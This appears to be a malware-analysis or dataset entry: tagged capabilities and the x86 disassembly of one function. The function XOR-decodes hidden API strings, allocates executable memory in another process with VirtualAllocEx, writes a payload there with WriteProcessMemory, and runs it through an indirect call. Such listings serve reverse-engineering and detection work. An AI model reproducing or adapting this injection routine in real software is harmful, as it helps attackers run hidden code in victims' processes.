Function at 0x4018dc
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x4c
mov dword [esp], 0x4c7024
call fcn.00414410
mov dword [esp], 0x4c7014
mov ebx, eax
call fcn.00414410
cmp byte [ebx], 0
mov edx, eax
jne 0x401925
xor esi, esi
lea eax, [eax + 0xa]
mov ecx, 0xd
mov dword [eax - 0xa], esi
mov dword [eax - 6], esi
mov dword [eax - 2], esi
mov esi, 0x5bc3ca
mov edi, eax
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [edx + 9], 0
jne 0x40197c
lea ecx, [edx + 0xa]
mov esi, 0x78
mov eax, dword [edx + 4]
mov ebx, dword [edx]
lea edi, [eax + 1]
cmp ebx, edi
jne 0x401942
inc eax
jmp 0x40196e
lea edi, [eax + 2]
cmp ebx, edi
jne 0x40194e
add eax, 2
jmp 0x40196e
cmp ebx, eax
jne 0x401958
mov eax, esi
xor byte [ecx], al
jmp 0x401974
lea edi, [eax + 4]
cmp ebx, edi
jne 0x401964
add eax, 3
jmp 0x40196e
lea edi, [eax + 5]
cmp ebx, edi
jne 0x401974
add eax, 4
xor byte [ecx], al
inc dword [edx]
jmp 0x401933
inc esi
inc ecx
mov eax, esi
cmp al, 0x85
jne 0x401933
mov byte [edx + 9], 1
add edx, 0xa
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ecx
mov dword [ebp - 0x2c], eax
mov dword [esp], 0x4c7044
call fcn.00414410
mov dword [esp], 0x4c7034
mov ebx, eax
call fcn.00414410
cmp byte [ebx], 0
lea esi, [eax + 0xa]
mov dword [ebp - 0x30], esi
jne 0x4019d1
xor edx, edx
mov esi, 0x5bc3aa
lea edi, [eax + 0xa]
mov ecx, 0x13
mov dword [eax], edx
mov dword [eax + 4], edx
mov dword [eax + 8], edx
rep movsb byte es:[edi], byte [esi]
mov byte [ebx], 1
cmp byte [eax + 9], 0
jne 0x401a29
lea ecx, [eax + 0xa]
mov esi, 0x79
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea edi, [edx + 1]
cmp ebx, edi
jne 0x4019ee
inc edx
jmp 0x401a1a
lea edi, [edx + 2]
cmp ebx, edi
jne 0x4019fa
add edx, 2
jmp 0x401a1a
cmp ebx, edx
jne 0x401a04
mov ebx, esi
xor byte [ecx], bl
jmp 0x401a20
lea edi, [edx + 4]
cmp ebx, edi
jne 0x401a10
add edx, 3
jmp 0x401a1a
lea edi, [edx + 5]
cmp ebx, edi
jne 0x401a20
add edx, 4
xor byte [ecx], dl
inc dword [eax]
jmp 0x4019df
inc esi
inc ecx
mov ebx, esi
cmp bl, 0x8c
jne 0x4019df
mov byte [eax + 9], 1
mov eax, dword [ebp - 0x30]
xor edi, edi
mov dword [esp], eax
call fcn.0040168c
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call fcn.004017f0
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x1000
mov esi, eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], edi
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
sub esp, 0x14
mov ebx, eax
test eax, eax
jne 0x401a80
or eax, 0xffffffff
jmp 0x401af8
lea eax, [ebp - 0x1c]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], ebx
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
sub esp, 0x14
test eax, eax
je 0x401a7b
xor ecx, ecx
mov dword [esp + 0xc], ebx
xor ebx, ebx
mov dword [esp + 8], ebx
mov dword [esp + 4], ebx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], ecx
mov eax, dword [ebp + 8]
mov dword [esp], eax
call esi
sub esp, 0x1c
mov ebx, eax
test eax, eax
je 0x401a7b
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push eax
push eax
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
push edx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret